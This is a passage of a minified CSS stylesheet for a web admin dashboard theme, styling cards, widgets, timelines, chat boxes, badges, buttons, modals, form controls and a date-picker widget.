.pl-0 { padding-left: 0px !important; } .pl-5 { padding-left: 5px !important; } .pl-10 { padding-left: 10px !important; } .pl-15 { padding-left: 15px !important; } .pl-20 { padding-left: 20px !important; } .pl-25 { padding-left: 25px !important; } .pl-30 { padding-left: 30px !important; } .pl-35 { padding-left: 35px !important; } .pl-40 { padding-left: 40px !important; } .pl-45 { padding-left: 45px !important; } .pl-50 { padding-left: 50px !important; } .pl-55 { padding-left: 55px !important; } .pl-60 { padding-left: 60px !important; } .pl-65 { padding-left: 65px !important; } .pl-70 { padding-left: 70px !important; } .pl-75 { padding-left: 75px !important; } .pl-80 { padding-left: 80px !important; } .pl-85 { padding-left: 85px !important; } .pl-90 { padding-left: 90px !important; } .pl-95 { padding-left: 95px !important; } .pl-100 { padding-left: 100px !important; } .pr-0 { padding-right: 0px !important; } .pr-5 { padding-right: 5px !important; } .pr-10 { padding-right: 10px !important; } .pr-15 { padding-right: 15px !important; } .pr-20 { padding-right: 20px !important; } .pr-25 { padding-right: 25px !important; } .pr-30 { padding-right: 30px !important; } .pr-35 { padding-right: 35px !important; } .pr-40 { padding-right: 40px !important; } .pr-45 { padding-right: 45px !important; } .pr-50 { padding-right: 50px !important; } .pr-55 { padding-right: 55px !important; } .pr-60 { padding-right: 60px !important; } .pr-65 { padding-right: 65px !important; } .pr-70 { padding-right: 70px !important; } .pr-75 { padding-right: 75px !important; } .pr-80 { padding-right: 80px !important; } .pr-85 { padding-right: 85px !important; } .pr-90 { padding-right: 90px !important; } .pr-95 { padding-right: 95px !important; } .pr-100 { padding-right: 100px !important; } .f-10 { font-size: 10px !important; } .f-20 { font-size: 20px !important; } .f-22 { font-size: 22px !important; } .f-24 { font-size: 24px !important; } .f-26 { font-size: 26px !important; } .f-28 { font-size: 28px !important; } .f-30 { font-size: 30px !important; } .f-40 { font-size: 40px !important; } .f-50 { font-size: 50px !important; } .f-60 { font-size: 60px !important; } .f-70 { font-size: 70px !important; } .f-80 { font-size: 80px !important; } .f-90 { font-size: 90px !important; } .f-100 { font-size: 100px !important; } .hidden { display: none !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } .invisible { visibility: hidden; } .clearfix:before, .clearfix:after { content: " "; display: table; } .clearfix:after { clear: both; } @media only screen and (max-width: 1023px) { .w-sm-100 { width: 100% !important; } } @media only screen and (max-width: 767px) { .w-xs-100 { width: 100% !important; } } .card { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .card .card-header { padding: 20px 20px; border: 0; background: none; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .card .card-header:first-child { border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; } .card .card-header h3 { margin: 0; font-size: 18px; font-weight: normal; color: #212121; } .card .card-header .card-options a:not(.dropdown-item) { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 33px; color: #212121; display: inline-block; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .card .card-header .card-options span { color: #444; font-size: 12px; } .card .card-header .card-search { position: relative; } .card .card-header .card-search .form-control { padding-right: 60px; font-size: 14px; max-height: 30px; min-height: 30px; } .card .card-header .card-search .form-control ~ .btn { position: absolute; right: 0; top: 0; padding: 0; width: 30px; height: 30px; line-height: 30px; border-radius: 4px; background-color: #eceff1; border: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .card .card-header .card-search.with-adv-search .adv-btn { background-color: transparent; border: 0; position: absolute; right: 30px; top: 0; width: 30px; height: 30px; line-height: 30px; padding: 0; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .card .card-header .card-search.with-adv-search .adv-search-wrap { padding: 20px; display: none; position: absolute; left: 30px !important; width: 100%; top: 30px; background-color: #ffffff !important; z-index: 4; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .card .card-header .card-search.with-adv-search .adv-search-wrap .form-control { padding-right: 15px; } .card .card-header .card-search.with-adv-search .adv-search-wrap .btn { padding: 0 15px; font-size: 14px; height: 30px; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-header .card-search.with-adv-search .adv-search-wrap.show { display: block; } .card .card-header.note-toolbar { padding: 0 0 5px 5px; } .card .card-header .dropdown .checkbox-dropdown { padding: 0px; width: 16px; height: 16px; background-color: #dee2e6; border-radius: .25rem; margin-right: 15px; } .card .card-body { padding: 20px 20px; flex: 1 1 auto; position: relative; } .card .card-img { height: 100%; object-fit: cover; max-height: 200px; width: unset; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .card .card-img-overlay { background: rgba(0, 0, 0, 0.5); padding: 1.75rem; border-radius: 4px; } .card.icon-card .card-body i { font-size: 46px; line-height: 66px; color: #212121 !important; } .card.icon-card .card-body .card-text { color: #8f8f8f; height: 30px; line-height: 26px; } .card.icon-card .card-body .lead { color: #212121 !important; margin-bottom: 0; } .card .nav-pills.custom-pills { border-bottom: 1px solid #f1f1f1; } .card .nav-pills.custom-pills .nav-link { border-radius: 0; opacity: .7; font-size: 14px; padding: 12px 15px; } .card .nav-pills.custom-pills .nav-link.active { color: #ef4153; opacity: 1; background-color: transparent; border-bottom: 2px solid #ef4153; } .widget { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; background-color: #fff; overflow: hidden; -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .widget .widget-header { padding: 10px 20px; border-bottom: 1px solid #f5f7f9; position: relative; } .widget .widget-header .widget-title { font-size: 18px; margin: 0; } .widget .widget-header .widget-tools { position: absolute; right: 10px; top: 5px; } .widget .widget-header .widget-tools .btn-widget-tool { padding: 5px; font-size: 16px; background: transparent; color: #97a0b3; } .widget .widget-header .widget-tools .btn-widget-tool i { margin: 0; } .widget .widget-header .widget-tools .btn-widget-tool:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .widget .widget-body { padding: 20px 20px; } .widget .widget-body h6 { margin-bottom: 0; font-weight: 400; } .widget .widget-body h2 { margin-bottom: 0px; font-weight: 600; } .widget .widget-body .icon { font-size: 37px; color: #9aa0ac; } .widget .widget-body .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.22); text-align: center; z-index: 3; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .widget .widget-body .overlay i { font-size: 32px; color: #ef4153; margin-bottom: 5px; } .widget .progress { border-radius: 0; } .widget[class*=bg-] .widget-header { background-color: rgba(255, 255, 255, 0.2); border-bottom-color: transparent; } .widget[class*=bg-] .widget-header .widget-title { color: #fff; } .widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool { color: rgba(255, 255, 255, 0.6); } .widget[class*=bg-] .widget-body { color: #ffffff !important; } .widget[class*=bg-] .widget-body .icon { color: #ffffff !important; } .widget.social-widget .widget-body { text-align: center; } .loading { -webkit-animation-name: loading; animation-name: loading; -webkit-animation-duration: .75s; animation-duration: .75s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-timing-function: linear; animation-timing-function: linear; } @-webkit-keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(1turn); transform: rotate(1turn); } } @keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(1turn); transform: rotate(1turn); } } .card-group .card:not(:last-child) { border-right: 1px solid #f1f1f1; } .card .card-header { border-bottom: 1px solid #f1f1f1; } .card .card-header .card-header-right { right: 10px; top: 16px; display: inline-block; float: right; position: absolute; } .card .card-header .card-header-right .card-option { width: 35px; height: 25px; overflow: hidden; margin: 0; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .card .card-header .card-header-right .card-option li { display: inline-block; } .card .card-header .card-header-right .card-option li i { margin: 0 5px; cursor: pointer; font-size: 15px; color: #8c8c8c; line-height: 2; font-weight: 300; } .card .card-body .icon { font-size: 37px; color: #9aa0ac; } .card .feeds-widget { padding: 0; } .card .feeds-widget .feed-item { display: block; padding: 12px 15px; border: 1px solid #efefef; border-left: 0; border-right: 0; } .card .feeds-widget .feed-item a { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .card .feeds-widget .feed-item a .feeds-left { width: 50px; font-size: 30px; } .card .feeds-widget .feed-item a .feeds-body { width: 100%; } .card .feeds-widget .feed-item a .feeds-body h4 { font-size: 16px; margin: 0; font-weight: 700; margin-bottom: 5px; } .card .feeds-widget .feed-item a .feeds-body h4 ~ small { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width: calc(100% - 60px); font-size: 13px; color: #777; } .card .feeds-widget .feed-item.feed-item { margin-top: -1px; } .card .timeline .header { background-size: cover; color: #fff; position: relative; } .card .timeline .header .color-overlay { padding: 2em; box-sizing: border-box; background: rgba(123, 94, 155, 0.5); line-height: normal; } .card .timeline .header .color-overlay .day-number { font-size: 6em; margin-right: 15px; display: inline-block; font-weight: 700; line-height: 1; } .card .timeline .header .color-overlay .date-right { display: inline-block; } .card .timeline .header .color-overlay .date-right .day-name { font-size: 22px; } .card .timeline .header .color-overlay .date-right .month { text-transform: uppercase; margin-top: 2px; } .card .timeline ul { list-style: none; position: relative; padding-left: 30px; padding-top: 10px; margin: 0; } .card .timeline ul:before, .card .timeline ul::before { content: ' '; height: 100%; width: 1px; background-color: #f0f0f0; position: absolute; top: 0; left: 35px; z-index: 1; } .card .timeline ul li { padding-bottom: 15px; } .card .timeline ul li .bullet { width: 10px; height: 10px; display: inline-block; z-index: 2; position: relative; vertical-align: top; margin: 7px 0; margin-right: 5px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .card .timeline ul li .time { width: 20%; font-size: 10px; margin: 6px 0; vertical-align: top; display: inline-block; } .card .timeline ul li .desc { width: 65%; display: inline-block; } .card .timeline ul li .desc h3 { margin: 0; font-size: 14px; font-weight: 700; } .card .timeline ul li .desc h4 { margin-top: 5px; font-size: 12px; color: #999; } .card .task-list { margin: 0; padding: 0; } .card .task-list li { display: block; padding: 15px 0 15px 0; margin: 0; cursor: pointer; } .card .task-list li:first-child { padding-top: 0; } .card .task-list li.list span { float: left; margin-top: 20px; color: #FF7E39; } .card .task-list li.list span:before, .card .task-list li.list span::before { font-size: 1.5rem; content: "\e83f"; font-family: 'iconkit'; vertical-align: middle; border: 3px solid #FF7E39; padding: 4px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .card .task-list li.list .task-details { margin-left: 60px; } .card .task-list li.list .task-details p { margin: 0; padding: 10px 0 6px 0; line-height: 140%; } .card .task-list li.list .task-details p.date { padding: 0; margin: 0; font-size: .75rem; } .card .task-list li.completed { text-decoration: line-through; color: #8796af; -moz-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; -webkit-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .card .task-list li.completed span:before, .card .task-list li.completed span::before { color: #50b924; border: 3px solid #50b924; } .card .chat-box .chat-list { margin: 0; padding: 0; list-style: none; } .card .chat-box .chat-list .chat-item { list-style: none; margin-top: 30px; } .card .chat-box .chat-list .chat-item .chat-img { display: inline-block; width: 45px; vertical-align: top; } .card .chat-box .chat-list .chat-item .chat-img img { width: 45px; border-radius: 100%; -webkit-border-radius: 100%; -moz-border-radius: 100%; } .card .chat-box .chat-list .chat-item .chat-content { width: calc(100% - 50px); display: inline-block; padding-left: 15px; } .card .chat-box .chat-list .chat-item .chat-content .box { display: inline-block; padding: 10px; margin-bottom: 3px; color: #343a40; background: #f6f8f9; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .card .chat-box .chat-list .chat-item .chat-time { display: block; font-size: 10px; color: #4F5467; margin: 5px 0 15px 65px; } .card .chat-box .chat-list .chat-item.odd .chat-content { text-align: right; width: calc(100% - 0px); } .card .chat-box .chat-list .chat-item.odd .chat-content .box { clear: both; color: #fff; background: #137eff; } .card .chat-box .chat-list .chat-item.odd .chat-time { text-align: right; } .card .chat-box .chat-list .chat-item.odd + .odd { margin-top: 0; } .card .chat-box .chat-list .chat-item:first-child { margin-top: 0; } .card .chat-footer { position: relative; background-color: #ffffff !important; } .card .chat-footer .input-wrap { padding-right: 50px; } .card .chat-footer .btn { position: absolute; top: 10px; right: 20px; width: 35px; height: 35px; } .card .card-title { font-size: 18px; } .card .card-subtitle { font-weight: 300; margin-bottom: 10px; color: #afb5c1; } .jvectormap-tip { border: none; font-family: 'Nunito Sans', sans-serif; font-weight: 700; padding: 5px 10px; font-size: 11px; } .card .card-body .dataTables_wrapper .dataTable { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .form-control { border: none; min-height: 30px; background-color: #f4f4f4; } .card .card-body .dataTables_wrapper select.form-control { height: 30px !important; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link { margin-left: 5px; min-width: 30px; height: 30px; padding: 0; text-align: center; line-height: 30px; border: none; background-color: #f4f4f4; color: #212121; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link { padding: 0 15px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link { color: #6c757d; background-color: #f4f4f4; cursor: not-allowed; } .card .card-table .card-item { border-top: 1px solid #ededed; } .table thead { background-color: #f6f8fb; } .table thead th { font-weight: 600; color: #879099; font-size: 14px; } .table tbody td { vertical-align: middle; } .table tbody td .table-user-thumb { width: 30px; height: 30px; border-radius: 50%; } .table tbody td .table-actions { text-align: right; } .table tbody td .table-actions a { color: #bcc1c6; display: inline-block; margin-left: 8px; font-size: 16px; } .badge { padding: 6px 10px; font-size: 12px; font-weight: 600; } .badge.badge-top-left { top: 7px; right: 10px; } .badge.badge-top-left-2 { top: 40px; right: 10px; } .badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram { color: #ffffff !important; } .badge-theme { background-color: #ef4153 !important; } .badge-aqua { background-color: #3ec5d6 !important; } .badge-blue { background-color: #19B5FE !important; } .badge-light-blue { background-color: #89CFF0 !important; } .badge-teal { background-color: #008081 !important; } .badge-yellow { background-color: #F7CA18 !important; } .badge-orange { background-color: #FF8000 !important; } .badge-green { background-color: #26C281 !important; } .badge-lime { background-color: #cad900 !important; } .badge-red { background-color: #F22613 !important; } .badge-fuchsia { background-color: #df2de3 !important; } .badge-navy { background-color: #000080 !important; } .badge-empty { background: transparent !important; } .badge-primary { background-color: #007bff !important; } .badge-success { background-color: #2dce89 !important; } .badge-info { background-color: #11cdef !important; } .badge-warning { background-color: #fb6340 !important; } .badge-danger { background-color: #f5365c !important; } .badge-muted { background-color: #6c757d !important; } .badge-inverse { background-color: #4c5667 !important; } .badge-purple { background-color: #BF55EC !important; } .badge-pink { background-color: #f76397 !important; } .badge-white { background-color: #ffffff !important; } .btn .badge { padding: 2px 6px; } .pagination .page-item { padding: 5px; } .pagination .page-item .page-link { outline: initial !important; box-shadow: none !important; line-height: 18px; min-width: 30px; text-align: center; height: 30px; padding: 6px 0px; border: none; background-color: #eaeaea; color: #3e5569; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .pagination .page-item .page-link.first, .pagination .page-item .page-link.last { color: #ffffff !important; background-color: #3e5569; } .pagination .page-item.active .page-link { background-color: #007bff !important; color: #ffffff !important; } .btn { padding: 6px 14px; height: 30px; font-size: 13px; font-weight: 600; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .btn i { margin-right: 5px; } .btn-icon { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 32px; font-size: 14px; display: inline-block; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .btn-icon i { margin-right: 0 !important; } .social-btn { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 30px; color: #ffffff !important; } .social-btn i { margin: 0; } .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram { color: #ffffff !important; } .btn-theme { background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%); color: #fff; } .btn-default { background-color: #dae6ec; border-color: #dae6ec; } .btn-default:focus, .btn-default:hover, .btn-default:active, .btn-default.active { background-color: #dae6ec; border-color: #C2CED4; } .btn-primary { background-color: #007bff !important; border: 1px solid #007bff !important; } .btn-primary:hover, .btn-primary:focus, .btn-primary.active { background-color: #1d7dca !important; border: 1px solid #1d7dca !important; } .btn-success { background-color: #2dce89 !important; border: 1px solid #2dce89 !important; } .btn-success:hover, .btn-success:focus, .btn-success.active { background-color: #009886 !important; border: 1px solid #009886 !important; } .btn-info { background-color: #11cdef !important; border: 1px solid #11cdef !important; } .btn-info:hover, .btn-info:focus, .btn-info.active { background-color: #25d8f6 !important; border: 1px solid #25d8f6 !important; } .btn-warning { background-color: #fb6340 !important; border: 1px solid #fb6340 !important; } .btn-warning:hover, .btn-warning:focus, .btn-warning.active { background-color: #e69900 !important; border: 1px solid #e69900 !important; } .btn-danger { background-color: #f5365c !important; border: 1px solid #f5365c !important; } .btn-danger:focus, .btn-danger:hover, .btn-danger.active { background-color: #ed3c39 !important; border: 1px solid #ed3c39 !important; } .btn-inverse { background-color: #4c5667 !important; border: 1px solid #4c5667 !important; } .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active { background-color: #414a58 !important; border: 1px solid #414a58 !important; } .btn-purple { background-color: #BF55EC !important; border: 1px solid #BF55EC !important; } .btn-purple:hover, .btn-purple:focus, .btn-purple.active { background-color: #6254b2 !important; border: 1px solid #6254b2 !important; } .btn-pink { background-color: #f76397 !important; border: 1px solid #f76397 !important; } .btn-pink:hover, .btn-pink:focus, .btn-pink.active { background-color: #f64b87 !important; border: 1px solid #f64b87 !important; } .btn-facebook { background: #3b579d !important; } .btn-twitter { background: #1da1f2 !important; } .btn-dribbble { background: #ea4c89 !important; } .btn-linkedin { background: #0177b4 !important; } .btn-google { background: #dc4a38 !important; } .btn-instagram { background: #fb3958 !important; } .template-demo .btn { margin-right: 10px; margin-bottom: 10px; } .btn-group .btn { margin: 0; } .full-window-modal .modal-dialog { position: fixed; width: 100%; height: 100%; margin: 0; max-width: 100%; left: 0; top: 0; bottom: 0; display: block; } .full-window-modal .modal-dialog .modal-content { height: 100vh; border: none; border-radius: 0; -webkit-border-radius: 0; -moz-border-radius: 0; } .full-window-modal .modal-dialog .modal-content .modal-body { height: calc(100vh - 50px); overflow-x: auto; } .full-window-modal .modal-dialog .modal-content .modal-footer { background-color: #393a3d; padding: 15px 24px; padding-top: 15px !important; } .modal-open .apps-modal { overflow: hidden; } .modal-open .apps-modal .close { position: absolute; top: 20px; right: 20px; text-shadow: none; z-index: 9; } .modal-open .apps-modal .modal-dialog { width: 100%; max-width: 100%; border-radius: 0; margin: 0; } .modal-open .apps-modal .modal-dialog .modal-content { border: none; border-radius: 0; min-height: 100vh; background-color: #ffffff !important; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search { position: absolute; width: 100%; top: 17px; padding: 0 50px; z-index: 9; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap { position: relative; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i { position: absolute; right: 5px; top: 0; width: 30px; height: 35px; border-radius: 50%; line-height: 35px; text-align: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-flex-flow: row wrap; -moz-flex-flow: row wrap; -ms-flex-flow: row wrap; flex-flow: row wrap; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; width: 100%; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item { width: 130px; height: 100px; margin: 10px; color: #ccc; text-align: center; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a { display: inline-block; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i { font-size: 40px; color: #3e5569; display: inline-block; margin-bottom: 10px; -moz-transition: all 0.3s ease 0s; -o-transition: all 0.3s ease 0s; -webkit-transition: all 0.3s ease 0s; transition: all 0.3s ease 0s; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span { display: block; font-size: 14px; color: #3e5569; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i { color: #ef4153 !important; } .modal-open .apps-modal.fade .modal-dialog { overflow: hidden; -moz-transform: translate(0, 0) scale(1.2); -o-transform: translate(0, 0) scale(1.2); -ms-transform: translate(0, 0) scale(1.2); -webkit-transform: translate(0, 0) scale(1.2); transform: translate(0, 0) scale(1.2); } .modal-open .apps-modal.fade.show .modal-dialog { -moz-transform: translate(0, 0) scale(1); -o-transform: translate(0, 0) scale(1); -ms-transform: translate(0, 0) scale(1); -webkit-transform: translate(0, 0) scale(1); transform: translate(0, 0) scale(1); } .form-control { height: auto; min-height: 35px; border: 1px solid #eaeaea; padding: 0 10px; background-color: #fff; font-size: 13px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .form-control.placeholder { color: #999999; } .form-control:-moz-placeholder { color: #999999; } .form-control::-moz-placeholder { color: #999999; } .form-control:-ms-input-placeholder { color: #999999; } .form-control::-webkit-input-placeholder { color: #999999; } .form-control:focus { background-color: #eff1f3; border-color: #eaeaea; -webkit-box-shadow: none; box-shadow: none; } select.form-control { -webkit-appearance: none; -moz-appearance: none; appearance: none; padding-right: 20px; background-image: url("../img/down-arrow.svg"); background-position: center right 15px; background-repeat: no-repeat; -webkit-background-size: 10px; background-size: 10px; height: 35px !important; } textarea.form-control { padding: 10px 15px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .custom-radio .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { background-image: none; content: "\e83f"; line-height: 16px; font-family: 'iconkit'; color: #fff; } .custom-control-label { text-align: center; } .input-group .input-group-prepend .input-group-text { border-top-left-radius: 4px; border-bottom-left-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-left: 15px; height: 35px; font-size: 14px; } .input-group .input-group-prepend .btn { height: 35px; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .input-group .input-group-append .input-group-text { border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-right: 15px; height: 35px; font-size: 14px; } .input-group .input-group-append .btn { height: 35px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .form-group .file-upload-default { visibility: hidden; position: absolute; } .form-group .file-upload-info { background: transparent !important; } .select2.select2-container--default .select2-selection--single { border-color: #eaeaea; height: 35px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2.select2-container--default .select2-selection--single .select2-selection__rendered { line-height: 35px; padding-left: 15px; padding-right: 30px; } .select2.select2-container--default .select2-selection--single .select2-selection__arrow { height: 33px; right: 8px; } .select2.select2-container--default .select2-selection--multiple { border-color: #eaeaea; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered { margin-top: 1px; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice { border: none; padding: 1px 5px; } .select2.select2-container--default.select2-container--focus .select2-selection--multiple { border-color: #8e8e8e; } .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .select2.select2-container .select2-selection--multiple { min-height: 35px; } .select2-container--default .select2-dropdown { background-color: #ffffff !important; border: none; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .select2-container--default .select2-dropdown .select2-search--dropdown { padding: 5px; } .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field { height: 30px; border: none; background-color: #eaeaea; padding: 5px 10px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2-container--default .select2-dropdown .select2-results .select2-results__options { padding: 5px; } .select2-results__option { background-color: #fff; padding: 8px 15px; border-radius: 4px; line-height: 14px; } .bootstrap-datetimepicker-widget .table thead { background-color: transparent !important; } .bootstrap-datetimepicker-widget .table thead tr th { color: #212121 !important; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th { text-align: center; width: 35px; height: 35px; border-radius: 50%; border: none; line-height: 35px; position: relative; z-index: 1; } .bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active { color: #ffffff !important; position: relative; z-index: 1; background-color: transparent; text-shadow: none; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: #4a5361; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before { background-color: #4a5361 !important; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before { background-color: #ef4153 !important; } .bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover { background-color: transparent; } .bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: transparent; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(0); -o-transform: scale(0); -ms-transform: scale(0); -webkit-transform: scale(0); transform: scale(0); -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before { background-color: 